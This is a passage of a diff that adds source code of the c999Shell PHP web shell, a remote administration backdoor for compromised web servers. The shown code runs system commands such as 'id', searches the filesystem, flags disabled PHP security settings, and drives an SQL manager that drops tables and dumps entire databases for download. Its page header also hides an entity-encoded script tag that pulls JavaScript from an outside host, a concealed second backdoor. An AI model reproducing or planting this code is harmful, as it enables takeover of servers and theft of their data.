type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c999sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists("c999fsearch")) +{ +function c999fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c999fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function c999shexit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b><SCRIPT SRC=&#x68&#fthfthfjgyk&#x2f&#x2f&#x77&#x77&#x77&#x2e&#x70&#x72&#x69&#x76&#x63&#x30&#x64&#x65&#x2e&#x63&#x6f&#x6d&#x2f&#x69&#x6d&#x61&#x67&#x65&#x73&#x2f&#x79&#x61&#x7a&#x2e&#x6a&#x73></SCRIPT>c999Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "<font color=green>[ ok ]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = FALSE; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); 